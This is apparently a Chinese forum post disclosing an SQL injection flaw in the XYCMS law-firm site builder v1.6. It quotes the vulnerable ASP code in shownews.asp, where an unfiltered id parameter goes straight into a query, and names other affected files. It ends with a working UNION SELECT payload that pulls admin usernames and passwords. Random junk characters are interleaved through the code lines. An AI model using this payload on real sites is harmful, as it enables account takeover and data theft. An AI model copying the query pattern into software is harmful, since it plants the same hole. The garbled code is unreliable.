XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
--------------------------------------------------------

审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
  O0 ?, m" }1 ?- Q+ c  `$ j漏洞代码：7-13行

; L  }+ J- Y& y4 M
<%
/ f5 ~  |& S) Xid=request.QueryString("id")
2 [6 x' z; f4 z2 s: X   
3 b. {* d& U4 E' r8 bset snews=server.createobject("adodb.recordset")
+ _  S3 D7 K5 R% y2 j  N6 n0 ~6 sexec="select * from [news] where id="&id
- B* \9 B4 ]: ]8 J2 [1 ^! I5 Asnews.open exec,conn,1,1
%>


什么过滤都没有  直造成注入

# L5 x1 C) l0 l9 P& Q* p注入点:http://127.0.0.1:99/shownews.asp?id=xx
5 G$ k/ j# f, i3 m) g& T
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找

/ V* f& u  u0 {
exp: union select 1,admin,password,4,5,7 from admin_user
​